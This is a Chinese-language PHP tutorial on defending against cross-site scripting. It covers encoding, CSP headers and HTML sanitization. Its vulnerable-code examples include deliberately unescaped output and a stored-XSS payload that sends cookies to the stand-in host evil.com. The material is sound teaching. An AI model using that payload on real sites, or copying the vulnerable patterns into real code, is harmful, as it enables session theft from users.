XSS 防护
XSS(Cross-Site Scripting,跨站脚本攻击)是最常见的 Web 安全漏洞之一。攻击者将恶意 JavaScript 代码注入页面,在用户浏览时执行,从而窃取用户数据、劫持会话、钓鱼欺骗等。PHP 开发者必须理解 XSS 的攻击类型和全面的防护策略。
基础概念
XSS 攻击类型
| 类型 | 存储位置 | 注入点 | 危害等级 |
|---|---|---|---|
| 反射型 XSS | URL 参数 | 服务端直接输出用户输入 | 中 |
| 存储型 XSS | 数据库 | 从数据库读取后输出到页面 | 高 |
| DOM 型 XSS | 前端 JS | JavaScript 动态操作 DOM | 中-高 |
XSS 攻击示例
php
<?php
// === 漏洞代码:反射型 XSS ===
$name = $_GET['name'] ?? 'Guest';
// 攻击 URL: /page.php?name=<script>alert('XSS')</script>
echo "Hello, " . $name; // 危险!直接输出未编码的用户输入
// === 漏洞代码:存储型 XSS ===
// 1. 用户提交评论:<script>document.location='http://evil.com/?c='+document.cookie</script>
// 2. 存入数据库
// 3. 其他用户查看评论列表时,恶意脚本执行
$comments = $pdo->query('SELECT content FROM comments');
foreach ($comments as $comment) {
echo "<div>" . $comment['content'] . "</div>"; // 危险!
}
// === 漏洞代码:DOM 型 XSS ===
// 前端 JS 直接使用 URL 参数
// document.getElementById('output').innerHTML = location.hash.substring(1);XSS 的危害
- 窃取用户的 Session ID 和 Cookie
- 篡改页面内容(钓鱼攻击)
- 监控用户键盘输入(密码窃取)
- 利用用户的身份执行操作
- 将用户重定向到恶意网站
PHP 输出编码防护
htmlspecialchars() -- HTML 上下文编码
php
<?php
declare(strict_types=1);
// htmlspecialchars 核心参数
// htmlspecialchars(string $string, int $flags, ?string $encoding, bool $double_encode)
// 基本用法
$userInput = '<script>alert("XSS")</script>';
echo htmlspecialchars($userInput);
// <script>alert("XSS")</script>
// 始终使用 ENT_QUOTES(编码单引号和双引号)
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// 编码标志对比
// ENT_COMPAT: 只编码双引号(默认,不推荐)
// ENT_QUOTES: 编码单引号和双引号(推荐)
// ENT_NOQUOTES: 不编码任何引号
// ENT_SUBSTITUTE: 替换无效编码序列为 Unicode 替代字符
// 最佳实践
echo htmlspecialchars($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');不同上下文的编码策略
php
<?php
declare(strict_types=1);
// === 1. HTML 正文 ===
$name = $_GET['name'] ?? '';
echo '<p>Hello, ' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . '</p>';
// === 2. HTML 属性 ===
$value = $_GET['value'] ?? '';
echo '<input type="text" value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';
// === 3. JavaScript 上下文 ===
// 错误:直接嵌入 PHP 变量到 JS
// echo "var name = '" . $name . "';"; // XSS!
// 正确:使用 json_encode
$userName = $_GET['name'] ?? 'default';
echo 'var name = ' . json_encode($userName,
JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';';
// === 4. URL 上下文 ===
$redirect = $_GET['redirect'] ?? '/home';
// 验证 URL 是同源的
if (!str_starts_with($redirect, '/') || str_starts_with($redirect, '//')) {
$redirect = '/home';
}
echo '<a href="' . htmlspecialchars($redirect, ENT_QUOTES, 'UTF-8') . '">链接</a>';
// === 5. CSS 上下文 ===
$color = $_GET['color'] ?? '#000';
$allowedColors = ['#000', '#fff', '#333', '#666'];
if (!in_array(strtolower($color), $allowedColors, true)) {
$color = '#000';
}
echo '<style>body { color: ' . htmlspecialchars($color, ENT_QUOTES, 'UTF-8') . '; }</style>';全面的 XSS 防护函数
php
<?php
declare(strict_types=1);
/**
* 安全的 HTML 输出辅助类
*/
class Escaper
{
private readonly string $encoding;
public function __construct(string $encoding = 'UTF-8')
{
$this->encoding = $encoding;
}
/** HTML 上下文转义 */
public function escapeHtml(string $string): string
{
return htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE, $this->encoding);
}
/** HTML 属性转义 */
public function escapeHtmlAttr(string $string): string
{
return htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE, $this->encoding);
}
/** JavaScript 上下文转义 */
public function escapeJs(string $string): string
{
return json_encode((string) $string,
JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}
/** CSS 上下文转义 */
public function escapeCss(string $string): string
{
return preg_replace('/[^a-zA-Z0-9#\-_.]/', '', $string);
}
/** URL 上下文转义 */
public function escapeUrl(string $string): string
{
return rawurlencode($string);
}
/** 移除危险 HTML 标签(保留安全标签)*/
public function sanitizeHtml(string $html, array $allowedTags = [
'p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li',
]): string {
$allowed = '<' . implode('><', $allowedTags) . '>';
return strip_tags($html, $allowed);
}
}
$esc = new Escaper('UTF-8');
echo $esc->escapeHtml($userInput);
echo '<a href="' . $esc->escapeHtmlAttr($url) . '">' . $esc->escapeHtml($text) . '</a>';
echo '<script>var data = ' . $esc->escapeJs($jsonData) . ';</script>';Content Security Policy (CSP)
PHP 设置 CSP 头
php
<?php
declare(strict_types=1);
// 严格的 CSP 策略
header("Content-Security-Policy: "
. "default-src 'self'; "
. "script-src 'self'; "
. "style-src 'self' 'unsafe-inline'; "
. "img-src 'self' data:; "
. "font-src 'self'; "
. "connect-src 'self'; "
. "frame-ancestors 'none'"
);
// 使用 nonce 的 CSP 策略
$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: "
. "script-src 'self' 'nonce-{$nonce}'; "
. "style-src 'self' 'nonce-{$nonce}'; "
. "default-src 'self'"
);
?>
<!-- 内联脚本需要匹配 nonce -->
<script nonce="<?= htmlspecialchars($nonce, ENT_QUOTES, 'UTF-8') ?>">
console.log('Hello');
</script>
// === CSP 指令说明 ===
// default-src: 所有未指定类型的默认策略
// script-src: JavaScript 来源
// style-src: CSS 样式来源
// img-src: 图片来源
// connect-src: AJAX/WebSocket 来源
// frame-ancestors: 哪些页面可以嵌入当前页面
// report-uri: 违规报告地址处理富文本(HTML 输入)
安全的富文本处理
php
<?php
declare(strict_types=1);
// === 方式一:strip_tags(简单但有限)===
$allowedTags = '<p><br><strong><em><a><ul><ol><li><h1><h2><h3><pre><code><img>';
$safeHtml = strip_tags($userHtml, $allowedTags);
// strip_tags 不处理属性,恶意属性可能残留
// === 方式二:正则清理属性 ===
function sanitizeHtmlAttributes(string $html): string
{
// 移除所有事件处理器属性
$html = preg_replace('/\s+on\w+\s*=\s*["\'][^"\']*["\']/i', '', $html);
$html = preg_replace('/\s+on\w+\s*=\s*\S+/i', '', $html);
// 移除 javascript: 协议
$html = preg_replace('/href\s*=\s*["\']javascript:[^"\']*["\']/i', 'href="#"', $html);
$html = preg_replace('/src\s*=\s*["\']javascript:[^"\']*["\']/i', 'src=""', $html);
return $html;
}
// === 方式三:HTML Purifier(推荐,最安全)===
// Composer: composer require ezyang/htmlpurifier
// require_once 'vendor/autoload.php';
function purifyHtml(string $html): string
{
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,a[href|title],ul,ol,li,h1,h2,h3,blockquote,pre,code,img[src|alt]');
$config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);
$config->set('AutoFormat.RemoveEmpty', true);
$config->set('HTML.SafeIframe', false);
$purifier = new HTMLPurifier($config);
return $purifier->purify($html);
}实战示例:安全的用户评论系统
php
<?php
declare(strict_types=1);
class CommentSystem
{
private readonly PDO $pdo;
private readonly Escaper $escaper;
public function __construct(PDO $pdo)
{
$this->pdo = $pdo;
$this->escaper = new Escaper('UTF-8');
}
public function saveComment(int $userId, string $content): int
{
$stmt = $this->pdo->prepare(
'INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())'
);
$stmt->execute([$userId, $content]);
return (int) $this->pdo->lastInsertId();
}
public function renderComments(int $page = 1, int $perPage = 20): string
{
$offset = ($page - 1) * $perPage;
$stmt = $this->pdo->prepare(
'SELECT c.content, u.username, c.created_at
FROM comments c JOIN users u ON c.user_id = u.id
ORDER BY c.created_at DESC LIMIT ? OFFSET ?'
);
$stmt->execute([$perPage, $offset]);
$html = '';
foreach ($stmt as $row) {
$username = $this->escaper->escapeHtml($row['username']);
$content = purifyHtml($row['content']);
$date = $this->escaper->escapeHtml($row['created_at']);
$html .= '<div class="comment">';
$html .= '<span class="author">' . $username . '</span>';
$html .= '<span class="date">' . $date . '</span>';
$html .= '<div class="content">' . $content . '</div>';
$html .= '</div>';
}
return $html;
}
}注意事项
1. 编码顺序:先过滤,后编码
php
<?php
// 正确的流程
// 1. 输入验证(过滤/验证数据格式)
// 2. 业务处理(存储到数据库)
// 3. 输出编码(根据上下文转义)
// 错误:编码后再存储(会导致双重编码问题)
$encoded = htmlspecialchars($input);2. Content-Type 与 XSS
php
<?php
// 设置正确的 Content-Type
header('Content-Type: text/html; charset=utf-8');
// 缺少 charset 可能导致浏览器误判编码引发 XSS最佳实践
1. 全面的 XSS 防护清单
php
<?php
// [x] 所有用户输入在输出到 HTML 时使用 htmlspecialchars()
// [x] HTML 属性值使用 ENT_QUOTES 编码
// [x] JavaScript 中的 PHP 变量使用 json_encode()
// [x] URL 参数使用 rawurlencode()
// [x] 设置 Content-Type: text/html; charset=utf-8
// [x] 配置 CSP 头
// [x] 富文本使用 HTML Purifier
// [x] Cookie 设置 HttpOnly(防止 JS 读取)
// [x] Cookie 设置 SameSite(防止跨站携带)下一节
继续学习:安全总则